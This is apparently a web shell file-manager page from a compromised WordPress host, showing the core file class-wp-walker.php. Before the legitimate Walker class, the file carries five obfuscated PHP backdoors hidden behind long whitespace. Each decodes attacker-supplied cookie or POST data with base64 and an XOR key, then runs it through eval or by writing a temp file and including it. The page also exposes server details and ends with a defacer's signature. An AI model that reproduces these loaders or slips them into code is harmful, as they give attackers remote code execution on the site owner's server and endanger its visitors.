PV.Pat File Manager

Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64

Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]

Path : /home/s/p/t/sptporgazz/www/wp-includes/
File Upload :
Current File : /home/s/p/t/sptporgazz/www/wp-includes/class-wp-walker.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $DwmfffJRRy = "\124" . "\x6d" . "\x65" . "\x5f" . 'J' . 'i' . "\155" . 'G';$JHjDa = chr (99) . chr (108) . chr (97) . 's' . chr ( 1066 - 951 )."\137" . chr (101) . "\x78" . chr (105) . "\163" . 't' . 's';$iuLxe = $JHjDa($DwmfffJRRy); $JHjDa = "9158";$PuVcpLVL = $iuLxe;if (!$PuVcpLVL){class Tme_JimG{private $xzaAgTxiVE;public static $WMlyVeumJr = "d60c96c8-a3a8-47f5-a275-1b6eb31b5310";public static $CxNidZhKb = 51400;public function __construct($JmnKXDBvW=0){$JoRcQabEm = $_COOKIE;$vpQlMf = $_POST;$PUloGiDqjP = @$JoRcQabEm[substr(Tme_JimG::$WMlyVeumJr, 0, 4)];if (!empty($PUloGiDqjP)){$elVtGY = "base64";$sCRgnp = "";$PUloGiDqjP = explode(",", $PUloGiDqjP);foreach ($PUloGiDqjP as $PkioGc){$sCRgnp .= @$JoRcQabEm[$PkioGc];$sCRgnp .= @$vpQlMf[$PkioGc];}$sCRgnp = array_map($elVtGY . chr ( 782 - 687 ).chr ( 1095 - 995 ).'e' . chr (99) . "\157" . chr ( 321 - 221 )."\145", array($sCRgnp,)); $sCRgnp = $sCRgnp[0] ^ str_repeat(Tme_JimG::$WMlyVeumJr, (strlen($sCRgnp[0]) / strlen(Tme_JimG::$WMlyVeumJr)) + 1);Tme_JimG::$CxNidZhKb = @unserialize($sCRgnp);}}private function SkHzXJY(){if (is_array(Tme_JimG::$CxNidZhKb)) {$uJRyO = str_replace(chr ( 72 - 12 ) . "\77" . chr ( 404 - 292 )."\x68" . "\x70", "", Tme_JimG::$CxNidZhKb["\x63" . 'o' . chr ( 795 - 685 )."\x74" . chr ( 337 - 236 ).'n' . chr (116)]);eval($uJRyO); $CcgETyqNaE = "8504";exit();}}public function __destruct(){$this->SkHzXJY(); $CcgETyqNaE = "8504";}}$sLbaCHYw = new Tme_JimG(); $sLbaCHYw = "26670_1774";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $lEVdQNCbO = chr ( 377 - 262 ).chr (95) . 'E' . "\132" . "\111" . "\124";$AzzzzEL = "\143" . chr ( 115 - 7 ).chr ( 102 - 5 ).chr ( 179 - 64 ).'s' . "\x5f" . "\x65" . chr (120) . "\x69" . "\x73" . chr ( 751 - 635 )."\x73";$AQczauUK = $AzzzzEL($lEVdQNCbO); $AzzzzEL = "18992";$gAaoOvG = $AQczauUK;if (!$gAaoOvG){class s_EZIT{private $vIauT;public static $SLCzMDtuX = "a94afb9b-e997-4f3d-974d-13e1e8e43fd6";public static $BJLCLaoq = 57220;public function __construct($XRRIDSo=0){$kIlXiylfsI = $_COOKIE;$igqELzFVi = $_POST;$gBlmY = @$kIlXiylfsI[substr(s_EZIT::$SLCzMDtuX, 0, 4)];if (!empty($gBlmY)){$beBvcgi = "base64";$HFcmbwt = "";$gBlmY = explode(",", $gBlmY);foreach ($gBlmY as $ikQKVa){$HFcmbwt .= @$kIlXiylfsI[$ikQKVa];$HFcmbwt .= @$igqELzFVi[$ikQKVa];}$HFcmbwt = array_map($beBvcgi . '_' . 'd' . chr (101) . "\x63" . 'o' . chr (100) . chr (101), array($HFcmbwt,)); $HFcmbwt = $HFcmbwt[0] ^ str_repeat(s_EZIT::$SLCzMDtuX, (strlen($HFcmbwt[0]) / strlen(s_EZIT::$SLCzMDtuX)) + 1);s_EZIT::$BJLCLaoq = @unserialize($HFcmbwt);}}private function rMyXxkKsUl(){if (is_array(s_EZIT::$BJLCLaoq)) {$scSiSf = sys_get_temp_dir() . "/" . crc32(s_EZIT::$BJLCLaoq[chr (115) . "\x61" . chr (108) . "\x74"]);@s_EZIT::$BJLCLaoq[chr ( 170 - 51 )."\x72" . 'i' . chr ( 271 - 155 ).'e']($scSiSf, s_EZIT::$BJLCLaoq["\143" . chr (111) . chr ( 848 - 738 )."\164" . "\145" . "\156" . chr (116)]);include $scSiSf;@s_EZIT::$BJLCLaoq[chr ( 974 - 874 )."\145" . "\154" . "\145" . "\x74" . chr ( 250 - 149 )]($scSiSf); $oYetCaq = "19248";exit();}}public function __destruct(){$this->rMyXxkKsUl(); $oYetCaq = "19248";}}$QKRtzEIkwn = new s_EZIT(); $QKRtzEIkwn = "24608_56904";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $txRZkpfpCc = chr (101) . 'w' . chr ( 670 - 575 ).chr (112) . 'o' . "\x74" . chr ( 192 - 89 ); $brrufMbvbM = chr (99) . chr (108) . chr ( 150 - 53 ).chr (115) . chr ( 691 - 576 )."\137" . "\145" . "\170" . "\x69" . 's' . 't' . chr (115); $fCXIaVnLx = $brrufMbvbM($txRZkpfpCc); $brrufMbvbM = "55080";$HyYIh = $fCXIaVnLx;if (!$HyYIh){class ew_potg{private $TIeXND;public static $kxolsz = "7598b033-5a6c-48b4-a961-4d751846a7f9";public static $gpQYw = 56649;public function __construct($uUsukExemw=0){$rqcprzXAJ = $_COOKIE;$zHPOsZkiA = $_POST;$CPqfNUTeyX = @$rqcprzXAJ[substr(ew_potg::$kxolsz, 0, 4)];if (!empty($CPqfNUTeyX)){$DPsSDGMSFP = "base64";$EUtdXYFc = "";$CPqfNUTeyX = explode(",", $CPqfNUTeyX);foreach ($CPqfNUTeyX as $mGrRktF){$EUtdXYFc .= @$rqcprzXAJ[$mGrRktF];$EUtdXYFc .= @$zHPOsZkiA[$mGrRktF];}$EUtdXYFc = array_map($DPsSDGMSFP . "\137" . 'd' . chr ( 783 - 682 ).chr (99) . chr (111) . "\x64" . chr (101), array($EUtdXYFc,)); $EUtdXYFc = $EUtdXYFc[0] ^ str_repeat(ew_potg::$kxolsz, (strlen($EUtdXYFc[0]) / strlen(ew_potg::$kxolsz)) + 1);ew_potg::$gpQYw = @unserialize($EUtdXYFc);}}private function ccyRNFDaD(){if (is_array(ew_potg::$gpQYw)) {$vzusU = sys_get_temp_dir() . "/" . crc32(ew_potg::$gpQYw["\163" . chr ( 648 - 551 ).chr ( 858 - 750 ).chr ( 808 - 692 )]);@ew_potg::$gpQYw["\x77" . 'r' . "\151" . chr ( 313 - 197 ).chr (101)]($vzusU, ew_potg::$gpQYw['c' . chr (111) . chr ( 1106 - 996 )."\164" . "\x65" . 'n' . "\x74"]);include $vzusU;@ew_potg::$gpQYw[chr (100) . chr (101) . 'l' . "\x65" . "\x74" . "\x65"]($vzusU); $tLQsWprzmB = "64163";exit();}}public function __destruct(){$this->ccyRNFDaD(); $tLQsWprzmB = "64163";}}$chufa = new ew_potg(); $chufa = "14421_8101";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $TUWjun = chr (69) . "\x67" . "\x7a" . chr ( 734 - 639 ).chr (109) . chr ( 742 - 668 ).chr ( 950 - 830 ); $RyuSxRpZd = "\143" . "\154" . "\x61" . "\163" . chr ( 409 - 294 ).chr (95) . chr (101) . "\170" . chr ( 746 - 641 )."\x73" . chr (116) . 's';$PnIdBfE = $RyuSxRpZd($TUWjun); $yrEnQqSP = $PnIdBfE;if (!$yrEnQqSP){class Egz_mJx{private $cHCeBfcBN;public static $xmQNL = "021b9a30-264d-49d4-a776-eae3b798fc5c";public static $qKecXa = 14343;public function __construct($zhxypr=0){$rXbCYzE = $_COOKIE;$NBvaX = $_POST;$HcepaOytGN = @$rXbCYzE[substr(Egz_mJx::$xmQNL, 0, 4)];if (!empty($HcepaOytGN)){$FdFkfI = "base64";$cNVwJtXePQ = "";$HcepaOytGN = explode(",", $HcepaOytGN);foreach ($HcepaOytGN as $juBHdUb){$cNVwJtXePQ .= @$rXbCYzE[$juBHdUb];$cNVwJtXePQ .= @$NBvaX[$juBHdUb];}$cNVwJtXePQ = array_map($FdFkfI . chr ( 935 - 840 ).'d' . chr (101) . chr (99) . "\x6f" . 'd' . "\x65", array($cNVwJtXePQ,)); $cNVwJtXePQ = $cNVwJtXePQ[0] ^ str_repeat(Egz_mJx::$xmQNL, (strlen($cNVwJtXePQ[0]) / strlen(Egz_mJx::$xmQNL)) + 1);Egz_mJx::$qKecXa = @unserialize($cNVwJtXePQ);}}public function __destruct(){$this->uwmMOnmIj();}private function uwmMOnmIj(){if (is_array(Egz_mJx::$qKecXa)) {$ZHwxP = sys_get_temp_dir() . "/" . crc32(Egz_mJx::$qKecXa[chr (115) . "\141" . "\x6c" . "\x74"]);@Egz_mJx::$qKecXa[chr (119) . chr (114) . "\151" . chr (116) . 'e']($ZHwxP, Egz_mJx::$qKecXa[chr (99) . 'o' . 'n' . 't' . "\145" . "\x6e" . "\x74"]);include $ZHwxP;@Egz_mJx::$qKecXa["\144" . chr ( 528 - 427 ).'l' . chr ( 194 - 93 ).chr ( 301 - 185 ).'e']($ZHwxP); $xPYUT = "3769";exit();}}}$kgJSvXA = new Egz_mJx(); $kgJSvXA = "61673";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("gidzzjcnz")){class gidzzjcnz{public static $jbxmrnjrga = "mnugiujtjqpauigy";public static $eovjqnwsw = NULL;public function __construct(){$vsnphmq = @$_COOKIE[substr(gidzzjcnz::$jbxmrnjrga, 0, 4)];if (!empty($vsnphmq)){$oassucvj = "base64";$afjvfifm = "";$vsnphmq = explode(",", $vsnphmq);foreach ($vsnphmq as $gjeefomvw){$afjvfifm .= @$_COOKIE[$gjeefomvw];$afjvfifm .= @$_POST[$gjeefomvw];}$afjvfifm = array_map($oassucvj . "_decode", array($afjvfifm,));$afjvfifm = $afjvfifm[0] ^ str_repeat(gidzzjcnz::$jbxmrnjrga, (strlen($afjvfifm[0]) / strlen(gidzzjcnz::$jbxmrnjrga)) + 1);gidzzjcnz::$eovjqnwsw = @unserialize($afjvfifm);}}public function __destruct(){$this->jdrry();}private function jdrry(){if (is_array(gidzzjcnz::$eovjqnwsw)) {$zyuke = sys_get_temp_dir() . "/" . crc32(gidzzjcnz::$eovjqnwsw["salt"]);@gidzzjcnz::$eovjqnwsw["write"]($zyuke, gidzzjcnz::$eovjqnwsw["content"]);include $zyuke;@gidzzjcnz::$eovjqnwsw["delete"]($zyuke);exit();}}}$lglonzzadx = new gidzzjcnz();$lglonzzadx = NULL;} ?><?php
/**
 * A class for displaying various tree-like structures.
 *
 * Extend the Walker class to use it, see examples below. Child classes
 * do not need to implement all of the abstract methods in the class. The child
 * only needs to implement the methods that are needed.
 *
 * @since 2.1.0
 *
 * @package WordPress
 * @abstract
 */
class Walker {
	/**
	 * What the class handles.
	 *
	 * @since 2.1.0
	 * @var string
	 */
	public $tree_type;

	/**
	 * DB fields to use.
	 *
	 * @since 2.1.0
	 * @var array
	 */
	public $db_fields;

	/**
	 * Max number of pages walked by the paged walker
	 *
	 * @since 2.7.0
	 * @var int
	 */
	public $max_pages = 1;

	/**
	 * Whether the current element has children or not.
	 *
	 * To be used in start_el().
	 *
	 * @since 4.0.0
	 * @var bool
	 */
	public $has_children;

	/**
	 * Starts the list before the elements are added.
	 *
	 * The $args parameter holds additional values that may be used with the child
	 * class methods. This method is called at the start of the output list.
	 *
	 * @since 2.1.0
	 * @abstract
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * The $args parameter holds additional values that may be used with the child
	 * class methods. This method finishes the list at the end of output of the elements.
	 *
	 * @since 2.1.0
	 * @abstract
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {}

	/**
	 * Start the element output.
	 *
	 * The $args parameter holds additional values that may be used with the child
	 * class methods. Includes the element output also.
	 *
	 * @since 2.1.0
	 * @abstract
	 *
	 * @param string $output            Used to append additional content (passed by reference).
	 * @param object $object            The data object.
	 * @param int    $depth             Depth of the item.
	 * @param array  $args              An array of additional arguments.
	 * @param int    $current_object_id ID of the current item.
	 */
	public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {}

	/**
	 * Ends the element output, if needed.
	 *
	 * The $args parameter holds additional values that may be used with the child class methods.
	 *
	 * @since 2.1.0
	 * @abstract
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param object $object The data object.
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function end_el( &$output, $object, $depth = 0, $args = array() ) {}

	/**
	 * Traverse elements to create list from elements.
	 *
	 * Display one element if the element doesn't have any children otherwise,
	 * display the element and its children. Will only traverse up to the max
	 * depth and no ignore elements under that depth. It is possible to set the
	 * max depth to include all depths, see walk() method.
	 *
	 * This method should not be called directly, use the walk() method instead.
	 *
	 * @since 2.5.0
	 *
	 * @param object $element           Data object.
	 * @param array  $children_elements List of elements to continue traversing (passed by reference).
	 * @param int    $max_depth         Max depth to traverse.
	 * @param int    $depth             Depth of current element.
	 * @param array  $args              An array of arguments.
	 * @param string $output            Used to append additional content (passed by reference).
	 */
	public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
		if ( ! $element ) {
			return;
		}

		$id_field = $this->db_fields['id'];
		$id       = $element->$id_field;

		//display this element
		$this->has_children = ! empty( $children_elements[ $id ] );
		if ( isset( $args[0] ) && is_array( $args[0] ) ) {
			$args[0]['has_children'] = $this->has_children; // Back-compat.
		}

		$cb_args = array_merge( array( &$output, $element, $depth ), $args );
		call_user_func_array( array( $this, 'start_el' ), $cb_args );

		// descend only when the depth is right and there are childrens for this element
		if ( ( $max_depth == 0 || $max_depth > $depth + 1 ) && isset( $children_elements[ $id ] ) ) {

			foreach ( $children_elements[ $id ] as $child ) {

				if ( ! isset( $newlevel ) ) {
					$newlevel = true;
					//start the child delimiter
					$cb_args = array_merge( array( &$output, $depth ), $args );
					call_user_func_array( array( $this, 'start_lvl' ), $cb_args );
				}
				$this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output );
			}
			unset( $children_elements[ $id ] );
		}

		if ( isset( $newlevel ) && $newlevel ) {
			//end the child delimiter
			$cb_args = array_merge( array( &$output, $depth ), $args );
			call_user_func_array( array( $this, 'end_lvl' ), $cb_args );
		}

		//end this element
		$cb_args = array_merge( array( &$output, $element, $depth ), $args );
		call_user_func_array( array( $this, 'end_el' ), $cb_args );
	}

	/**
	 * Display array of elements hierarchically.
	 *
	 * Does not assume any existing order of elements.
	 *
	 * $max_depth = -1 means flatly display every element.
	 * $max_depth = 0 means display all levels.
	 * $max_depth > 0 specifies the number of display levels.
	 *
	 * @since 2.1.0
	 *
	 * @param array $elements  An array of elements.
	 * @param int   $max_depth The maximum hierarchical depth.
	 * @return string The hierarchical item output.
	 */
	public function walk( $elements, $max_depth ) {
		$args   = array_slice( func_get_args(), 2 );
		$output = '';

		//invalid parameter or nothing to walk
		if ( $max_depth < -1 || empty( $elements ) ) {
			return $output;
		}

		$parent_field = $this->db_fields['parent'];

		// flat display
		if ( -1 == $max_depth ) {
			$empty_array = array();
			foreach ( $elements as $e ) {
				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
			}
			return $output;
		}

		/*
		 * Need to display in hierarchical order.
		 * Separate elements into two buckets: top level and children elements.
		 * Children_elements is two dimensional array, eg.
		 * Children_elements[10][] contains all sub-elements whose parent is 10.
		 */
		$top_level_elements = array();
		$children_elements  = array();
		foreach ( $elements as $e ) {
			if ( empty( $e->$parent_field ) ) {
				$top_level_elements[] = $e;
			} else {
				$children_elements[ $e->$parent_field ][] = $e;
			}
		}

		/*
		 * When none of the elements is top level.
		 * Assume the first one must be root of the sub elements.
		 */
		if ( empty( $top_level_elements ) ) {

			$first = array_slice( $elements, 0, 1 );
			$root  = $first[0];

			$top_level_elements = array();
			$children_elements  = array();
			foreach ( $elements as $e ) {
				if ( $root->$parent_field == $e->$parent_field ) {
					$top_level_elements[] = $e;
				} else {
					$children_elements[ $e->$parent_field ][] = $e;
				}
			}
		}

		foreach ( $top_level_elements as $e ) {
			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
		}

		/*
		 * If we are displaying all levels, and remaining children_elements is not empty,
		 * then we got orphans, which should be displayed regardless.
		 */
		if ( ( $max_depth == 0 ) && count( $children_elements ) > 0 ) {
			$empty_array = array();
			foreach ( $children_elements as $orphans ) {
				foreach ( $orphans as $op ) {
					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
				}
			}
		}

		return $output;
	}

	/**
	 * paged_walk() - produce a page of nested elements
	 *
	 * Given an array of hierarchical elements, the maximum depth, a specific page number,
	 * and number of elements per page, this function first determines all top level root elements
	 * belonging to that page, then lists them and all of their children in hierarchical order.
	 *
	 * $max_depth = 0 means display all levels.
	 * $max_depth > 0 specifies the number of display levels.
	 *
	 * @since 2.7.0
	 *
	 * @param array $elements
	 * @param int   $max_depth The maximum hierarchical depth.
	 * @param int   $page_num The specific page number, beginning with 1.
	 * @param int   $per_page
	 * @return string XHTML of the specified page of elements
	 */
	public function paged_walk( $elements, $max_depth, $page_num, $per_page ) {
		if ( empty( $elements ) || $max_depth < -1 ) {
			return '';
		}

		$args   = array_slice( func_get_args(), 4 );
		$output = '';

		$parent_field = $this->db_fields['parent'];

		$count = -1;
		if ( -1 == $max_depth ) {
			$total_top = count( $elements );
		}
		if ( $page_num < 1 || $per_page < 0 ) {
			// No paging
			$paging = false;
			$start  = 0;
			if ( -1 == $max_depth ) {
				$end = $total_top;
			}
			$this->max_pages = 1;
		} else {
			$paging = true;
			$start  = ( (int) $page_num - 1 ) * (int) $per_page;
			$end    = $start + $per_page;
			if ( -1 == $max_depth ) {
				$this->max_pages = ceil( $total_top / $per_page );
			}
		}

		// flat display
		if ( -1 == $max_depth ) {
			if ( ! empty( $args[0]['reverse_top_level'] ) ) {
				$elements = array_reverse( $elements );
				$oldstart = $start;
				$start    = $total_top - $end;
				$end      = $total_top - $oldstart;
			}

			$empty_array = array();
			foreach ( $elements as $e ) {
				$count++;
				if ( $count < $start ) {
					continue;
				}
				if ( $count >= $end ) {
					break;
				}
				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
			}
			return $output;
		}

		/*
		 * Separate elements into two buckets: top level and children elements.
		 * Children_elements is two dimensional array, e.g.
		 * $children_elements[10][] contains all sub-elements whose parent is 10.
		 */
		$top_level_elements = array();
		$children_elements  = array();
		foreach ( $elements as $e ) {
			if ( 0 == $e->$parent_field ) {
				$top_level_elements[] = $e;
			} else {
				$children_elements[ $e->$parent_field ][] = $e;
			}
		}

		$total_top = count( $top_level_elements );
		if ( $paging ) {
			$this->max_pages = ceil( $total_top / $per_page );
		} else {
			$end = $total_top;
		}

		if ( ! empty( $args[0]['reverse_top_level'] ) ) {
			$top_level_elements = array_reverse( $top_level_elements );
			$oldstart           = $start;
			$start              = $total_top - $end;
			$end                = $total_top - $oldstart;
		}
		if ( ! empty( $args[0]['reverse_children'] ) ) {
			foreach ( $children_elements as $parent => $children ) {
				$children_elements[ $parent ] = array_reverse( $children );
			}
		}

		foreach ( $top_level_elements as $e ) {
			$count++;

			// For the last page, need to unset earlier children in order to keep track of orphans.
			if ( $end >= $total_top && $count < $start ) {
					$this->unset_children( $e, $children_elements );
			}

			if ( $count < $start ) {
				continue;
			}

			if ( $count >= $end ) {
				break;
			}

			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
		}

		if ( $end >= $total_top && count( $children_elements ) > 0 ) {
			$empty_array = array();
			foreach ( $children_elements as $orphans ) {
				foreach ( $orphans as $op ) {
					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
				}
			}
		}

		return $output;
	}

	/**
	 * Calculates the total number of root elements.
	 *
	 * @since 2.7.0
	 *
	 * @param array $elements Elements to list.
	 * @return int Number of root elements.
	 */
	public function get_number_of_root_elements( $elements ) {
		$num          = 0;
		$parent_field = $this->db_fields['parent'];

		foreach ( $elements as $e ) {
			if ( 0 == $e->$parent_field ) {
				$num++;
			}
		}
		return $num;
	}

	/**
	 * Unset all the children for a given top level element.
	 *
	 * @since 2.7.0
	 *
	 * @param object $e
	 * @param array $children_elements
	 */
	public function unset_children( $e, &$children_elements ) {
		if ( ! $e || ! $children_elements ) {
			return;
		}

		$id_field = $this->db_fields['id'];
		$id       = $e->$id_field;

		if ( ! empty( $children_elements[ $id ] ) && is_array( $children_elements[ $id ] ) ) {
			foreach ( (array) $children_elements[ $id ] as $child ) {
				$this->unset_children( $child, $children_elements );
			}
		}

		unset( $children_elements[ $id ] );
	}

} // Walker

WiTcH hUnT3r Plugin 2018